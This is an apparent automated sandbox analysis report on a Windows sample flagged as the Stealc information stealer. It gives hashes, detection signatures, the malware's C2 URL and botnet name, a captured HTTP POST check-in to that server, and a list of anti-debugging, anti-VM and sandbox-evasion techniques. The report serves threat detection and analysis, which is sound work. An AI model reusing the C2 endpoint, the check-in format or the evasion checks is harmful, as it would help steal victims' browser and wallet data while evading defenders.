Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544215
MD5:	1f9bbfe42e611b314849010fb1bbe51c
SHA1:	5a25bc214ecb669fa11dc91c84c19e5d238125ba
SHA256:	0a348ff9b393249df44a77c30c8cef6cacc54f9f6d1fcf34bfb195cef3e455b4
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 4408 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1F9BBFE42E611B314849010FB1BBE51C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1769403587.0000000005850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ea0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:01:10.465335+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

Code function: 0_2_00EA62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00EA62D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 44 39 30 33 34 32 42 34 38 35 33 30 32 35 39 39 37 34 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="hwid"0ED90342B485302599741------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="build"tale------AAAKEBGDAFHIIDHIIECF--

Source: file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1812029198.0000000001C2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php%.e
Source: file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php=
Source: file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa~
Source: file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/hb5
Source: file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, file.exe, 00000000.00000003.1769403587.000000000587B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE0098	0_2_00EE0098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFB198	0_2_00EFB198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED2138	0_2_00ED2138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367	0_2_0124C367
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE4288	0_2_00EE4288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0E258	0_2_00F0E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FC214	0_2_012FC214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1D39E	0_2_00F1D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F02D6	0_2_012F02D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F2B308	0_2_00F2B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FA54D	0_2_012FA54D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FE5C1	0_2_012FE5C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE45A8	0_2_00EE45A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0D5A8	0_2_00F0D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4573	0_2_00EC4573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECE544	0_2_00ECE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F296FD	0_2_00F296FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE66C8	0_2_00EE66C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF714	0_2_012FF714
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE76A	0_2_012EE76A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012507B6	0_2_012507B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1A648	0_2_00F1A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F16799	0_2_00F16799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFD720	0_2_00EFD720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0F8D6	0_2_00F0F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F596A	0_2_012F596A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFB8A8	0_2_00EFB8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F3962	0_2_012F3962
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF98B8	0_2_00EF98B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF4868	0_2_00EF4868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012839FE	0_2_012839FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01260870	0_2_01260870
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E1B25	0_2_012E1B25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A2B3E	0_2_012A2B3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01302B6C	0_2_01302B6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D6B7F	0_2_011D6B7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012ECB4B	0_2_012ECB4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012D2B5A	0_2_012D2B5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F8A0E	0_2_012F8A0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F14BA8	0_2_00F14BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F10B88	0_2_00F10B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F1DA4	0_2_012F1DA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1AC28	0_2_00F1AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF4DC8	0_2_00EF4DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF5DB9	0_2_00EF5DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFBD68	0_2_00EFBD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED1D78	0_2_00ED1D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0AD38	0_2_00F0AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F11EE8	0_2_00F11EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136AF7E	0_2_0136AF7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F6F55	0_2_012F6F55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE8E78	0_2_00EE8E78

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00EA4610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: oxrzanjf ZLIB complexity 0.9948995569099611

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00EB9790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00EB3970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0VIKGQCP.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 40%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2149888 > 1048576

Source: file.exe

Static PE information: Raw size of oxrzanjf is bigger than: 0x100000 < 0x1a1e00

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1769403587.000000000587B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1769403587.000000000587B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ea0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oxrzanjf:EW;lnkngpyb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oxrzanjf:EW;lnkngpyb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00EB9BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2111be should be: 0x20e0e3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oxrzanjf
Source: file.exe	Static PE information: section name: lnkngpyb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EB13B push 66D45914h; mov dword ptr [esp], edi	0_2_013EB1A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECA0DC push eax; retf	0_2_00ECA0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A311C push esi; mov dword ptr [esp], edx	0_2_012A3165
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A311C push 6BE129EAh; mov dword ptr [esp], ebx	0_2_012A318E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A311C push edx; mov dword ptr [esp], ebx	0_2_012A31F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A311C push ecx; mov dword ptr [esp], ebp	0_2_012A3207
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A311C push 49239DC7h; mov dword ptr [esp], edx	0_2_012A3239
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132215D push ebx; mov dword ptr [esp], ecx	0_2_01322181
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132215D push ebx; mov dword ptr [esp], ecx	0_2_013221CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132215D push edx; mov dword ptr [esp], eax	0_2_01322236
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01421132 push eax; mov dword ptr [esp], 00000004h	0_2_0142121A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push 2B3DE0AEh; mov dword ptr [esp], edx	0_2_0128F1F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push edx; mov dword ptr [esp], 7FF773C3h	0_2_0128F1F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push 10720CBEh; mov dword ptr [esp], edi	0_2_0128F254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push 375BFACDh; mov dword ptr [esp], edi	0_2_0128F2A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push ecx; mov dword ptr [esp], ebp	0_2_0128F2EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push edi; mov dword ptr [esp], ecx	0_2_0128F316
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push 79D7EA9Bh; mov dword ptr [esp], edi	0_2_0128F31E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F1E9 push ecx; mov dword ptr [esp], edi	0_2_0128F3B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013841E3 push 6DBE8AB2h; mov dword ptr [esp], ebp	0_2_0138422C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136F1C6 push ebp; mov dword ptr [esp], eax	0_2_0136F1E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECA106 push eax; retf	0_2_00ECA119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EE33B push 20509C29h; mov dword ptr [esp], edx	0_2_013EE3D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push eax; mov dword ptr [esp], ecx	0_2_0124C391
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push 2D3384FBh; mov dword ptr [esp], ebp	0_2_0124C3A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push ecx; mov dword ptr [esp], eax	0_2_0124C3AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push eax; mov dword ptr [esp], 1F65BE3Ch	0_2_0124C3DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push esi; mov dword ptr [esp], ebx	0_2_0124C3E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124C367 push 5769B6CEh; mov dword ptr [esp], ebx	0_2_0124C40A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01398355 push 4C9A1A3Ch; mov dword ptr [esp], edi	0_2_0139837C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132E391 push 0BED477Dh; mov dword ptr [esp], edx	0_2_0132E351

Source: file.exe

Static PE information: section name: oxrzanjf entropy: 7.953822879686721

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00EB9BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-36553

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8502 second address: 12F8506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8506 second address: 12F850E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F850E second address: 12F8528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8528 second address: 12F8531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F8531 second address: 12F853C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F853C second address: 12F8540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308A40 second address: 1308A82 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC850CE3D36h 0x00000008 jns 00007FC850CE3D36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jbe 00007FC850CE3D36h 0x00000017 pop edi 0x00000018 jmp 00007FC850CE3D3Bh 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007FC850CE3D4Ch 0x00000026 jmp 00007FC850CE3D46h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308A82 second address: 1308AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8515781DAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FC8515781DCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308AA4 second address: 1308AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130905E second address: 1309078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781DFh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309078 second address: 130908D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC850CE3D3Ah 0x00000008 jnp 00007FC850CE3D36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C2E8 second address: 130C328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FC8515781DCh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC8515781E2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C402 second address: 130C46D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 12440AF5h 0x00000010 add edi, dword ptr [ebp+122D3650h] 0x00000016 lea ebx, dword ptr [ebp+124521F1h] 0x0000001c mov edi, dword ptr [ebp+122D18CFh] 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 pushad 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 jmp 00007FC850CE3D42h 0x0000002c popad 0x0000002d pushad 0x0000002e push edi 0x0000002f pop edi 0x00000030 je 00007FC850CE3D36h 0x00000036 popad 0x00000037 popad 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FC850CE3D42h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C46D second address: 130C471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C68E second address: 130C693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
